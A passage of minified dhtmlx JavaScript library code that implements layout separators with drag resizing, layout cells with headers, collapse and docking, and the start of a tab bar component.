"a;b;g\",\"a;c;g\",\"a;d;g\",\"a;e;g\",\"a;f;g\"],v:[\"a\",\"b;c;d;e;f\",\"g\"]}};function dhtmlXLayoutSepObject(e,a){var c=this;this.conf={mode:e,idx:a,blocked:false,locked:false,btn_left:((window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8)&&typeof(window.addEventListener)==\"undefined\"?1:0)};if(window.dhx4.isIE&&navigator.userAgent.indexOf(\"MSIE 7.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")>=0){this.conf.btn_left=1}this.sep=document.createElement(\"DIV\");this.sep.className=\"dhxlayout_sep\";if(window.dhx4.isIE==true){this.sep.onselectstart=function(){return false}}this.sep.className=\"dhxlayout_sep dhxlayout_sep_resize_\"+this.conf.mode;this._setSize=function(g,n,l,m){this.sep.style.left=g+\"px\";this.sep.style.top=n+\"px\";this.sep.style.width=Math.max(l,0)+\"px\";this.sep.style.height=Math.max(m,0)+\"px\"};this._lockSep=function(g){this.conf.locked=(g==true);this._blockSep()};this._setWH=function(g){var h=this._getLayout();h.conf.sw=(g==null?h._detectSW():Math.max(parseInt(g)||-1,-1));h._getMainInst().setSizes();h=null};this._blockSep=function(){var g=this._getLayout();var h=g.cdata.a.conf.collapsed||g.cdata.b.conf.collapsed||this.conf.locked;g=null;if(this.conf.blocked==h){return}this.sep.className=\"dhxlayout_sep\"+(h?\"\":\" dhxlayout_sep_resize_\"+this.conf.mode);this.conf.blocked=h};this._beforeResize=function(h){if(this.conf.blocked){return}if(this.conf.resize!=null&&this.conf.resize.active==true){return}if(h.type==window.dhx4.dnd.evs.start){this.sep.className+=\" dhxlayout_sep_resize_actv\";var m=(h.pageX||h.touches[0].pageX);var l=(h.pageY||h.touches[0].pageY)}else{if(h.button!==this.conf.btn_left){return}var m=h.clientX;var l=h.clientY}if(window.dhx4.dnd.p_en==true){window.dhx4.dnd._touchOff()}var g=this._getLayout();this.conf.resize={sx:m,sy:l,tx:h.layerX,ty:h.layerY,sep_x:parseInt(this.sep.style.left),sep_y:parseInt(this.sep.style.top),min_wa:g.cdata.a._getAvailWidth(\"a\"),min_wb:g.cdata.b._getAvailWidth(\"b\"),min_ha:g.cdata.a._getAvailHeight(\"a\"),min_hb:g.cdata.b._getAvailHeight(\"b\")};this.conf.resize.nx=this.conf.resize.sep_x;this.conf.resize.ny=this.conf.resize.sep_y;if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousemove\",this._doOnMouseMove,false);window.addEventListener(\"mouseup\",this._doOnMouseUp,false);window.addEventListener(window.dhx4.dnd.evs.move,this._doOnMouseMove,false);window.addEventListener(window.dhx4.dnd.evs.end,this._doOnMouseUp,false)}else{document.body.attachEvent(\"onmousemove\",this._doOnMouseMove);document.body.attachEvent(\"onmouseup\",this._doOnMouseUp)}g=null};this._onResize=function(l){if(!this.conf.resize.active){this._initResizeArea();this.conf.resize.active=true}if(this.conf.mode==\"v\"){var g=(l.type==\"mousemove\"?l.clientX:(l.pageX||l.touches[0].pageX));var h=this.conf.resize.sx-g;this.conf.resize.nx=this.conf.resize.sep_x-h;if(this.conf.resize.nx>this.conf.resize.sep_x+this.conf.resize.min_wb){this.conf.resize.nx=this.conf.resize.sep_x+this.conf.resize.min_wb}else{if(this.conf.resize.nx<this.conf.resize.sep_x-this.conf.resize.min_wa){this.conf.resize.nx=this.conf.resize.sep_x-this.conf.resize.min_wa}}this.r_sep.style.left=this.conf.resize.nx+\"px\"}else{var m=(l.type==\"mousemove\"?l.clientY:(l.pageY||l.touches[0].pageY));var h=this.conf.resize.sy-m;this.conf.resize.ny=this.conf.resize.sep_y-h;if(this.conf.resize.ny>this.conf.resize.sep_y+this.conf.resize.min_hb){this.conf.resize.ny=this.conf.resize.sep_y+this.conf.resize.min_hb}else{if(this.conf.resize.ny<this.conf.resize.sep_y-this.conf.resize.min_ha){this.conf.resize.ny=this.conf.resize.sep_y-this.conf.resize.min_ha}}this.r_sep.style.top=this.conf.resize.ny+\"px\"}};this._afterResize=function(q){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",this._doOnMouseMove,false);window.removeEventListener(\"mouseup\",this._doOnMouseUp,false);window.removeEventListener(window.dhx4.dnd.evs.move,this._doOnMouseMove,false);window.removeEventListener(window.dhx4.dnd.evs.end,this._doOnMouseUp,false)}else{document.body.detachEvent(\"onmousemove\",this._doOnMouseMove);document.body.detachEvent(\"onmouseup\",this._doOnMouseUp)}if(!this.conf.resize.active){this.conf.resize=null;return}if(q.type==window.dhx4.dnd.evs.end){this.sep.className=this.sep.className.replace(/\\s{0,}dhxlayout_sep_resize_actv/gi,\"\")}else{if(q.button!==this.conf.btn_left){return}}var m=this._getLayout();var h=m._getMainInst();var n=(h.checkEvent(\"onPanelResizeFinish\")==true?{}:false);if(n!==false){h.forEachItem(function(s){n[s.conf.name]={w:s.conf.size.w,h:s.conf.size.h};s=null})}var l=this.conf.resize.nx-this.conf.resize.sep_x;var g=this.conf.resize.ny-this.conf.resize.sep_y;m.cdata.a._setSize(m.cdata.a.conf.size.x,m.cdata.a.conf.size.y,m.cdata.a.conf.size.w+l,m.cdata.a.conf.size.h+g,\"a\");m.cdata.b._setSize(m.cdata.b.conf.size.x+l,m.cdata.b.conf.size.y+g,m.cdata.b.conf.size.w-l,m.cdata.b.conf.size.h-g,\"b\");this._setSize(parseInt(this.r_sep.style.left),parseInt(this.r_sep.style.top),parseInt(this.r_sep.style.width),parseInt(this.r_sep.style.height));if(window.dhx4.isIE){var r=this;window.setTimeout(function(){r._removeResizeArea();r=null},1)}else{this._removeResizeArea()}if(n!==false){var o=[];h.forEachItem(function(s){var u=n[s.conf.name];if(!(u.w==s.conf.size.w&&u.h==s.conf.size.h)){o.push(s.conf.name)}s=null});h._callMainEvent(\"onPanelResizeFinish\",[o])}h=m=null;this.conf.resize.active=false;this.conf.resize=null;if(window.dhx4.dnd.p_en==true){window.dhx4.dnd._touchOn()}};this._initResizeArea=function(){if(this.r_sep==null){this.r_sep=document.createElement(\"DIV\");this.r_sep.className=\"dhxlayout_resize_sep\";this.r_sep.style.left=this.sep.style.left;this.r_sep.style.top=this.sep.style.top;this.r_sep.style.width=this.sep.style.width;this.r_sep.style.height=this.sep.style.height;this.sep.parentNode.appendChild(this.r_sep);if(window.dhx4.isIE){this.r_sep.onselectstart=function(){return false}}}if(this.r_area==null){this.r_area=document.createElement(\"DIV\");this.r_area.className=\"dhxlayout_resize_area\";this.sep.parentNode.appendChild(this.r_area);if(window.dhx4.isIE){this.r_area.onselectstart=function(){return false}}if(this.conf.mode==\"v\"){var g=parseInt(this.r_sep.style.left)-this.conf.resize.min_wa;var n=parseInt(this.r_sep.style.top);var l=this.conf.resize.min_wa+this.conf.resize.min_wb+parseInt(this.r_sep.style.width);var m=parseInt(this.r_sep.style.height)}else{var g=parseInt(this.r_sep.style.left);var n=parseInt(this.r_sep.style.top)-this.conf.resize.min_ha;var l=parseInt(this.r_sep.style.width);var m=this.conf.resize.min_ha+this.conf.resize.min_hb+parseInt(this.r_sep.style.height)}this.r_area.style.left=g+\"px\";this.r_area.style.top=n+\"px\";if(!dhtmlXLayoutObject.prototype._confGlob.reszieCover){dhtmlXLayoutObject.prototype._confGlob.reszieCover={};this.r_area.style.width=l+\"px\";this.r_area.style.height=m+\"px\";dhtmlXLayoutObject.prototype._confGlob.reszieCover.w=parseInt(this.r_area.style.width)-this.r_area.offsetWidth;dhtmlXLayoutObject.prototype._confGlob.reszieCover.h=parseInt(this.r_area.style.height)-this.r_area.offsetHeight}this.r_area.style.width=l+dhtmlXLayoutObject.prototype._confGlob.reszieCover.w+\"px\";this.r_area.style.height=m+dhtmlXLayoutObject.prototype._confGlob.reszieCover.h+\"px\"}document.body.className+=\" dhxlayout_resize_\"+this.conf.mode};this._removeResizeArea=function(){this.r_sep.onselectstart=null;this.r_sep.parentNode.removeChild(this.r_sep);this.r_sep=null;this.r_area.onselectstart=null;this.r_area.parentNode.removeChild(this.r_area);this.r_area=null;document.body.className=String(document.body.className).replace(/\\s{0,}dhxlayout_resize_[vh]/gi,\"\")};this._doOnMouseDown=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.cancelBubble=true}c._beforeResize(g)};this._doOnBodyMouseDown=function(g){g=g||event;if(c.conf.resize==null){return}if(c.conf.resize.active==true&&g.button!==c.conf.btn_left){if(g.preventDefault){g.preventDefault()}g.returnValue=false;g.cancelBubble=true;return false}};this._doOnMouseMove=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.cancelBubble=true}c._onResize(g)};this._doOnMouseUp=function(g){g=g||event;if(g.type==\"mouseup\"&&g.button!==c.conf.btn_left){return}c._afterResize(g)};if(typeof(window.addEventListener)==\"function\"){this.sep.addEventListener(\"mousedown\",this._doOnMouseDown,false);this.sep.addEventListener(window.dhx4.dnd.evs.start,this._doOnMouseDown,false);document.body.addEventListener(\"mousedown\",this._doOnBodyMouseDown,false);document.body.addEventListener(\"contextmenu\",this._doOnBodyMouseDown,false)}else{this.sep.attachEvent(\"onmousedown\",this._doOnMouseDown);document.body.attachEvent(\"onmousedown\",this._doOnBodyMouseDown);document.body.attachEvent(\"oncontextmenu\",this._doOnBodyMouseDown)}this._unload=function(){if(typeof(window.addEventListener)==\"function\"){this.sep.removeEventListener(\"mousedown\",this._doOnMouseDown,false);this.sep.removeEventListener(window.dhx4.dnd.evs.start,this._doOnMouseDown,false);document.body.removeEventListener(\"mousedown\",this._doOnBodyMouseDown,false);document.body.removeEventListener(\"contextmenu\",this._doOnBodyMouseDown,false)}else{this.sep.detachEvent(\"onmousedown\",this._doOnMouseDown);document.body.detachEvent(\"onmousedown\",this._doOnBodyMouseDown);document.body.detachEvent(\"oncontextmenu\",this._doOnBodyMouseDown)}if(window.dhx4.isIE==true){this.sep.onselectstart=null}this.sep.parentNode.removeChild(this.sep);this.sep=null;for(var g in this){this[g]=null}c=null};return this}dhtmlXLayoutObject.prototype.setSeparatorSize=function(e,g){if(typeof(e)==\"number\"){var h=this.setSeparatorSize({index:e,current:-1},g);if(h.sep!=null){h.sep._setWH(g)}return}for(var c in this.cdata){if(this.cdata[c].dataType==\"layout\"&&this.cdata[c].dataNested==true&&this.cdata[c].dataObj!=null){e=this.cdata[c].dataObj.setSeparatorSize(e,g);if(e.sep!=null){return e}}if(c==\"a\"&&this.sep!=null){e.current++;if(e.index==e.current){return{sep:this.sep}}}}return e};window.dhtmlXLayoutCell=function(g,e){dhtmlXCellObject.apply(this,[g,\"_layout\"]);var c=this;this.layout=e;this.conf.skin=this.layout.conf.skin;this.conf.mode=this.layout.conf.mode;this.conf.collapsed=false;this.conf.fixed={w:false,h:false};this.conf.docked=true;this.conf.min_width=26;this.conf.min_height=26;this.attachEvent(\"_onCellUnload\",function(){this.cell.childNodes[this.conf.idx.hdr].ondblclick=null;if(this.conf.mode!=\"c\"){this.cell.childNodes[this.conf.idx.hdr].lastChild.ondblclick=null}this._unloadDocking();this.layout=null;c=null});this._hdrInit();this.cell.childNodes[this.conf.idx.hdr].ondblclick=function(){var h=c.layout._getMainInst();h._callMainEvent(\"onDblClick\",[c.conf.name]);h=null};this.attachEvent(\"_onContentLoaded\",function(){var h=this.layout._getMainInst();h._callMainEvent(\"onContentLoaded\",[this.conf.name]);h=null});if(this.conf.mode!=\"c\"){var a=document.createElement(\"DIV\");a.className=\"dhxlayout_arrow dhxlayout_arrow_\"+this.conf.mode+this._idd;this.cell.childNodes[this.conf.idx.hdr].appendChild(a);a.onclick=function(h){if(c.conf.collapsed){c.expand()}else{c.collapse()}};a=null}this.attachEvent(\"_onBeforeContentAttach\",function(h){if(h==\"tabbar\"||h==\"layout\"||h==\"acc\"){this._hideBorders()}if(h==\"sidebar\"&&this.conf.skin!=\"dhx_skyblue\"){this._hideBorders();this.showHeader()}});this._initDocking();return this};dhtmlXLayoutCell.prototype=new dhtmlXCellObject();dhtmlXLayoutCell.prototype.getId=function(){return this.conf.name};dhtmlXLayoutCell.prototype._initDocking=function(){var a=this;this.dock=function(){var e=this.layout._getMainInst();if(e.dhxWins==null||this.conf.docked){e=null;return}var c=e.dhxWins.window(this.conf.name);c.close();this._attachFromCell(c);this.conf.docked=true;if(!this.conf.dock_collapsed){this.expand()}e._callMainEvent(\"onDock\",[this.conf.name]);e=c=null};this.undock=function(c,n,l,m){var g=this.layout._getMainInst();if(g.dhxWins==null||this.conf.docked==false){g=null;return}this.conf.dock_collapsed=this.conf.collapsed;if(!this.conf.collapsed){this.collapse()}if(g.dhxWins.window(this.conf.name)!=null){var e=g.dhxWins.window(this.conf.name);e.show()}else{if(c==null){c=20}if(n==null){n=20}if(l==null){l=320}if(m==null){m=200}var e=g.dhxWins.createWindow(this.conf.name,c,n,l,m);e.button(\"close\").hide();e.addUserButton(\"dock\",99,\"Dock\");e.button(\"dock\").show();e.button(\"dock\").attachEvent(\"onClick\",this._doOnDockClick);e.setText(this.getText());e.attachEvent(\"onClose\",this._doOnDockWinClose)}this.conf.docked=false;e._attachFromCell(this);g._callMainEvent(\"onUnDock\",[this.conf.name]);g=e=null};this._doOnDockClick=function(){a.dock()};this._doOnDockWinClose=function(c){c.hide();return false};this._unloadDocking=function(){a=null}};dhtmlXLayoutCell.prototype._hdrInit=function(){var c=\"\";if(window.dhx4.isIE){if(navigator.userAgent.indexOf(\"MSIE 9.0\")!=-1){c=\" dhx_cell_hdr_text_ie9\"}else{if(window.dhx4.isIE8){c=\" dhx_cell_hdr_text_ie8\"}else{if(window.dhx4.isIE7){c=\" dhx_cell_hdr_text_ie7\"}else{if(window.dhx4.isIE6){c=\" dhx_cell_hdr_text_ie6\"}}}}}else{if(window.dhx4.isChrome||window.dhx4.isKHTML){c=\" dhx_cell_hdr_text_chrome\"}}var a=document.createElement(\"DIV\");a.className=\"dhx_cell_hdr\";a.innerHTML=\"<div class='dhx_cell_hdr_text\"+c+\"'></div>\";this.cell.insertBefore(a,this.cell.childNodes[this.conf.idx.cont]);a=null;this.conf.ofs_nodes.t._getHdrHeight=\"func\";this.conf.hdr={visible:true};this.conf.idx_data.hdr=\"dhx_cell_hdr\";this._updateIdx();this.attachEvent(\"_onSetSize\",this._hdrOnSetSize);this.attachEvent(\"_onBorderChange\",this._hdrOnBorderChange);this.attachEvent(\"_onViewSave\",this._hdrOnViewSave);this.attachEvent(\"_onViewRestore\",this._hdrOnViewRestore)};dhtmlXLayoutCell.prototype.showHeader=function(a){if(this.conf.hdr.visible||this.conf.collapsed){return}if(this.conf.hdr.w_saved>this._getAvailWidth()||this.conf.hdr.h_saved>this._getAvailHeight()){return}this.conf.hdr.w_saved=this.conf.hdr.h_saved=null;this.conf.hdr.visible=true;this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr\";if(a!==true){this._adjustCont(this._idd)}};dhtmlXLayoutCell.prototype.hideHeader=function(a){if(!this.conf.hdr.visible||this.conf.collapsed){return}this.conf.hdr.w_saved=this._getMinWidth(this._idd);this.conf.hdr.h_saved=this._getMinHeight(this._idd);this.conf.hdr.visible=false;this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr dhx_cell_hdr_hidden\";this._hdrUpdBorder();this._mtbUpdBorder();if(a!==true){this._adjustCont(this._idd)}};dhtmlXLayoutCell.prototype.isHeaderVisible=function(){return(this.conf.hdr.visible==true)};dhtmlXLayoutCell.prototype.showArrow=function(){this.cell.childNodes[this.conf.idx.hdr].childNodes[1].style.display=\"\"};dhtmlXLayoutCell.prototype.hideArrow=function(){this.cell.childNodes[this.conf.idx.hdr].childNodes[1].style.display=\"none\"};dhtmlXLayoutCell.prototype.isArrowVisible=function(){return(this.cell.childNodes[this.conf.idx.hdr].childNodes[1].style.display==\"\")};dhtmlXLayoutCell.prototype.setText=function(a){this.conf.hdr.text=a;this._hdrUpdText()};dhtmlXLayoutCell.prototype.getText=function(){return this.conf.hdr.text};dhtmlXLayoutCell.prototype.setCollapsedText=function(a){this.conf.hdr.text_collapsed=a;this._hdrUpdText()};dhtmlXLayoutCell.prototype.getCollapsedText=function(){return(this.conf.hdr.text_collapsed!=null?this.conf.hdr.text_collapsed:this.conf.hdr.text)};dhtmlXLayoutCell.prototype._hdrUpdText=function(){var a=(this.conf.collapsed==true&&this.conf.hdr.text_collapsed!=null?this.conf.hdr.text_collapsed:this.conf.hdr.text);this.cell.childNodes[this.conf.idx.hdr].firstChild.innerHTML=\"<span>\"+a+\"</span>\"};dhtmlXLayoutCell.prototype._hdrUpdBorder=function(){if(this.conf.borders==true){this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr\"+(this.conf.hdr.visible?\"\":\" dhx_cell_hdr_hidden\")}else{if(!this.conf.hdr.visible){this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr dhx_cell_hdr_hidden_no_borders\"}}};dhtmlXLayoutCell.prototype._hdrOnSetSize=function(){if(this.conf.collapsed&&this.conf.mode==\"v\"){this._fitHdr()}};dhtmlXLayoutCell.prototype._hdrOnBorderChange=function(){this.hideHeader(true);this._hdrUpdBorder()};dhtmlXLayoutCell.prototype._hdrOnViewSave=function(a){this.views[a].hdr_vis=this.conf.hdr.visible};dhtmlXLayoutCell.prototype._hdrOnViewRestore=function(a){if(this.conf.hdr.visible!=this.views[a].hdr_vis){this[this.views[a].hdr_vis?\"showHeader\":\"hideHeader\"](true)}this.views[a].hdr_vis=null;delete this.views[a].hdr_vis};dhtmlXLayoutCell.prototype._getHdrHeight=function(a){if(this.conf.collapsed&&this.conf.mode==\"v\"&&a!==true){return 27}return this.cell.childNodes[this.conf.idx.hdr].offsetHeight};dhtmlXLayoutCell.prototype._fitHdr=function(){if(this.conf.collapsed){if(typeof(dhtmlXLayoutObject.prototype._confGlob.hdrColH)==\"undefined\"){this.cell.childNodes[this.conf.idx.hdr].style.height=this.cell.offsetHeight+\"px\";dhtmlXLayoutObject.prototype._confGlob.hdrColH=parseInt(this.cell.childNodes[this.conf.idx.hdr].style.height)-this._getHdrHeight(true)}this.cell.childNodes[this.conf.idx.hdr].style.height=this.cell.offsetHeight+dhtmlXLayoutObject.prototype._confGlob.hdrColH+\"px\"}else{this.cell.childNodes[this.conf.idx.hdr].style.height=null}};dhtmlXLayoutCell.prototype.expand=function(m){if(!this.conf.collapsed){return true}var e=this.layout;if(this.conf.mode==\"v\"){var l=(m?e.conf.hh:e.cdata[e.conf.nextCell[this._idd]]._getMinWidth(this._idd));var g=e.cont.offsetWidth-e.conf.sw;if(l+this.conf.size.w_avl>g){e=null;return false}}else{var h=(m?e.conf.hh:e.cdata[e.conf.nextCell[this._idd]]._getMinHeight(this._idd)+e.cdata[e.conf.nextCell[this._idd]]._getHdrHeight());var c=e.cont.offsetHeight-e.conf.sw;if(h+this.conf.size.h_avl>c){e=null;return false}}if(this.conf.docked==false){this.dock();return}this.cell.className=String(this.cell.className).replace(/\\s{0,}dhxlayout_collapsed_[hv]/gi,\"\");this.conf.collapsed=false;if(this.conf.mode==\"v\"){this.conf.size.w=Math.min(g-l,this.conf.size.w_saved);this.conf.size.w_saved=this.conf.size.w_avl=null}else{this.conf.size.h=Math.min(c-h,this.conf.size.h_saved);this.conf.size.h_saved=this.conf.size.h_avl=null}if(this.conf.mode==\"v\"){this._fitHdr()}e.setSizes(e.conf.nextCell[this._idd],e.conf.nextCell[this._idd],m==true,\"expand\");e.sep._blockSep();e=null;this._hdrUpdText();var a=this.layout._getMainInst();a._callMainEvent(\"onExpand\",[this.conf.name]);a=null;return true};dhtmlXLayoutCell.prototype.collapse=function(){if(this.conf.collapsed){return false}var c=this.layout;if(c.cdata[c.conf.nextCell[this._idd]].expand(true)==false){return false}if(this.conf.mode==\"v\"){this.conf.size.w_saved=this.conf.size.w;this.conf.size.w_avl=this._getMinWidth(this._idd)}else{this.conf.size.h_saved=this.conf.size.h;this.conf.size.h_avl=this._getMinHeight(this._idd)+this._getHdrHeight()}this.cell.className+=\" dhxlayout_collapsed_\"+this.conf.mode;this.conf.collapsed=true;if(this.conf.mode==\"v\"){this.conf.size.w=c.conf.hh}else{this.conf.size.h=this._getHdrHeight()}c.setSizes(c.conf.nextCell[this._idd],c.conf.nextCell[this._idd],false,\"collapse\");c.sep._blockSep();c=null;this._hdrUpdText();var a=this.layout._getMainInst();a._callMainEvent(\"onCollapse\",[this.conf.name]);a=null;return true};dhtmlXLayoutCell.prototype.isCollapsed=function(){return(this.conf.collapsed==true)};dhtmlXLayoutCell.prototype.setMinWidth=function(a){this.conf.min_width=parseInt(a)||0};dhtmlXLayoutCell.prototype.setMinHeight=function(a){this.conf.min_height=parseInt(a)||0};dhtmlXLayoutCell.prototype._getMinWidth=function(c){if(this.dataType==\"layout\"&&this.dataObj!=null){if(this.dataObj.conf.pattern==\"1C\"){return Math.max(this.conf.min_width,this.dataObj.cdata.a._getMinWidth(c))}else{if(this.dataObj.conf.mode==\"v\"){var a=c||this._idd;if(this.dataObj.cdata[a].conf.collapsed){a=this.dataObj.conf.nextCell[a]}return Math.max(this.conf.min_width,this.dataObj.cdata[a]._getMinWidth(c)+this.dataObj.cdata[this.dataObj.conf.nextCell[a]]._getWidth()+this.dataObj.conf.sw)}else{return Math.max(this.conf.min_width,this.dataObj.cdata.a._getMinWidth(c),this.dataObj.cdata.b._getMinWidth(c))}}}return Math.max(this.conf.min_width,1)};dhtmlXLayoutCell.prototype._getMinHeight=function(e){var c=0;if(this.conf.idx.menu!=null){c+=this.cell.childNodes[this.conf.idx.menu].offsetHeight}if(this.dataType==\"layout\"&&this.dataObj!=null){if(this.dataObj.conf.pattern==\"1C\"){return Math.max(this.conf.min_height,this.dataObj.cdata.a._getMinHeight(e))}else{if(this.dataObj.conf.mode==\"h\"){var a=e;if(this.dataObj.cdata[a].conf.collapsed){a=this.dataObj.conf.nextCell[a]}return Math.max(this.conf.min_height,this.dataObj.cdata[a]._getMinHeight(e)+this.dataObj.cdata[a]._getHdrHeight()+this.dataObj.cdata[this.dataObj.conf.nextCell[a]]._getHeight()+this.dataObj.conf.sw)}else{return Math.max(this.conf.min_height,this.dataObj.cdata.a._getMinHeight(e)+this.dataObj.cdata.a._getHdrHeight(),this.dataObj.cdata.b._getMinHeight(e)+this.dataObj.cdata.b._getHdrHeight())}}}return Math.max(this.conf.min_height,c)};dhtmlXLayoutCell.prototype._getAvailWidth=function(e){if(this.dataType==\"layout\"&&this.dataObj!=null){if(this.dataObj.conf.pattern==\"1C\"){return this.dataObj.cdata.a._getAvailWidth(e)}else{if(this.dataObj.conf.mode==\"v\"){var a=(this.dataObj.cdata.a.conf.collapsed==true);var c=(this.dataObj.cdata.b.conf.collapsed==true);if(e==\"a\"){return this.dataObj.cdata[c?\"a\":\"b\"]._getAvailWidth(e)}else{return this.dataObj.cdata[a?\"b\":\"a\"]._getAvailWidth(e)}}else{return Math.min(this.dataObj.cdata.a._getAvailWidth(e),this.dataObj.cdata.b._getAvailWidth(e))}}}return this.cell.offsetWidth-this._getMinWidth()};dhtmlXLayoutCell.prototype._getAvailHeight=function(g){if(this.dataType==\"layout\"&&this.dataObj!=null){if(this.dataObj.conf.pattern==\"1C\"){return this.dataObj.cdata.a._getAvailHeight(g)}else{if(this.dataObj.conf.mode==\"h\"){var c=(this.dataObj.cdata.a.conf.collapsed==true);var e=(this.dataObj.cdata.b.conf.collapsed==true);if(g==\"a\"){return this.dataObj.cdata[e?\"a\":\"b\"]._getAvailHeight(g)}else{return this.dataObj.cdata[c?\"b\":\"a\"]._getAvailHeight(g)}}else{return Math.min(this.dataObj.cdata.a._getAvailHeight(g),this.dataObj.cdata.b._getAvailHeight(g))}}}var a=this._getHdrHeight();if(this.conf.mode==\"v\"&&this.conf.collapsed){a=this.conf.hh}return this.cell.offsetHeight-a-this._getMinHeight()};dhtmlXLayoutCell.prototype.setWidth=function(g){if(this.conf.mode==\"v\"){if(this.conf.collapsed){return}var h=this.layout;var l=h.cdata[h.conf.nextCell[this._idd]];if(l.conf.collapsed){g=g+h.conf.sw+l._getWidth();m=h=l=null;return}var e=this._getMinWidth(this._idd);var n=h.cont.offsetWidth-l._getMinWidth(this._idd)-h.conf.sw;g=Math.max(e,Math.min(g,n));this.conf.size.w=g;h.setSizes(l._idd,l._idd);h=l=null}else{if(this.layout==null||this.layout.parentLayout==null){return}var m=this.layout.parentLayout;var h=this.layout;var l=h.cdata[h.conf.nextCell[this._idd]];for(var c in m.cdata){if(m.cdata[c].dataObj==h){m.cdata[c].setWidth(g)}}m=h=null}};dhtmlXLayoutCell.prototype.setHeight=function(n){if(this.conf.mode==\"h\"){if(this.conf.collapsed){return}var g=this.layout;var m=g.cdata[g.conf.nextCell[this._idd]];if(m.conf.collapsed){n=n+g.conf.sw+m._getHeight();var o=(this.layout!=null&&this.layout.parentLayout!=null?this.layout.parentLayout:null);if(o!=null){for(var c in o.cdata){if(o.cdata[c].dataObj==g){o.cdata[c].setHeight(n)}}}o=g=m=null;return}var l=this._getMinHeight(this._idd)+this._getHdrHeight();var e=g.cont.offsetHeight-m._getMinHeight(this._idd)-m._getHdrHeight()-g.conf.sw;n=Math.max(l,Math.min(n,e));this.conf.size.h=n;g.setSizes(m._idd,m._idd);g=m=null}else{if(this.layout==null||this.layout.parentLayout==null){return}var o=this.layout.parentLayout;var g=this.layout;var m=g.cdata[g.conf.nextCell[this._idd]];for(var c in o.cdata){if(o.cdata[c].dataObj==g){o.cdata[c].setHeight(n)}}o=g=null}};dhtmlXLayoutCell.prototype.getWidth=function(){return this.conf.size.w};dhtmlXLayoutCell.prototype.getHeight=function(){return this.conf.size.h};dhtmlXLayoutCell.prototype.fixSize=function(c,g){this.conf.fixed.w=window.dhx4.s2b(c);this.conf.fixed.h=window.dhx4.s2b(g);var a=this.layout._getMainInst();var e={};a.forEachItem(function(h){if(h.conf.fsize!=null){var o=h.getId();var n={h:(h.conf.fixed.w==true),v:(h.conf.fixed.h==true)};for(var l in n){if(n[l]==true&&h.conf.fsize[l]!=null){if(!(h.conf.fsize[l] instanceof Array)){h.conf.fsize[l]=[h.conf.fsize[l]]}for(var m=0;m<h.conf.fsize[l].length;m++){e[h.conf.fsize[l][m]]=true}}}}h=null});a._forEachSep(function(h){h._lockSep(e[h.conf.idx]==true);h=null});a=null};dhtmlXCellObject.prototype.attachLayout=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"layout\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);if(typeof(this._layoutMainInst)!=\"undefined\"){c._layoutMainInst=this._layoutMainInst}if(typeof(window.dhtmlXLayoutCell)!=\"undefined\"&&this instanceof dhtmlXLayoutCell){c._isParentCell=true}if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={t:-1,r:-1,l:-1,b:-1}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){if(this.conf.skin==\"dhx_skyblue\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}}if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){if(this.conf.skin==\"dhx_web\"){c._ofs={l:8}}if(this.conf.skin==\"dhx_terrace\"){c._ofs={l:11}}else{c._ofs={l:-1}}}if(typeof(window.dhtmlXCarouselCell)!=\"undefined\"&&(this instanceof window.dhtmlXCarouselCell)){this._hideBorders()}if(typeof(a)==\"string\"){a={pattern:a}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=c;this.dataType=\"layout\";this.dataObj=new dhtmlXLayoutObject(a);if(this instanceof dhtmlXLayoutCell){this.dataObj.parentLayout=this.layout}c._layoutMainInst=null;a.parent=null;c=a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};function dhtmlXTabBar(g,m){var h=this;this.conf={skin:(window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxtabbar\")||\"dhx_skyblue\"),css:\"dhxtabbar\",lastActive:null,closeButton:false,align:\"left\",tabsMode:(m==\"bottom\"?\"bottom\":\"top\"),tabsContCss:\"\",contZone:true,transSpeed:\"0.15s\",arwMode:\"always\",tabsOfs:1,tabsTop:0,url_demand:false,urls:{},autoload:{},tabsWidth:{dhx_terrace:[44,14],dhx_web:[35,9],dhx_skyblue:[35,9]}};var c=navigator.userAgent;if(c.indexOf(\"Safari\")>=0&&(c.indexOf(\"5.1.7\")>=0||(c.match(/7[\\.\\d]* mobile/gi)!=null&&c.match(/AppleWebKit/gi)!=null))){this.conf.tabsContCss=\" safari_517_fix\"}var l;if(g!=null&&typeof(g)==\"object\"&&typeof(g.tagName)==\"undefined\"){l=g.parent;if(typeof(g.skin)!=\"undefined\"){this.conf.skin=g.skin}if(typeof(g.mode)!=\"undefined\"){this.conf.tabsMode=(g.mode==\"bottom\"?\"bottom\":\"top\")}if(typeof(g.align)!=\"undefined\"){this.conf.align=(g.align==\"right\"?\"right\":\"left\")}if(typeof(g.close_button)!=\"undefined\"){this.conf.closeButton=window.dhx4.s2b(g.close_button)}if(typeof(g.content_zone)!=\"undefined\"){this.conf.contZone=window.dhx4.s2b(g.content_zone)}if(typeof(g.xml)!=\"undefined\"){this.conf.autoload.xml=g.xml}if(typeof(g.json)!=\"undefined\"){this.conf.autoload.xml=g.json}if(typeof(g.tabs)!=\"undefined\"){this.conf.autoload.tabs=g.tabs}if(typeof(g.onload)!=\"undefined\"){this.conf.autoload.tabs=g.tabs}if(typeof(g.arrows_mode)!=\"undefined\"){this.conf.autoload.arrows_mode=g.arrows_mode}}else{l=g}window.dhtmlXCellTop.apply(this,[l,g.offsets]);if(this.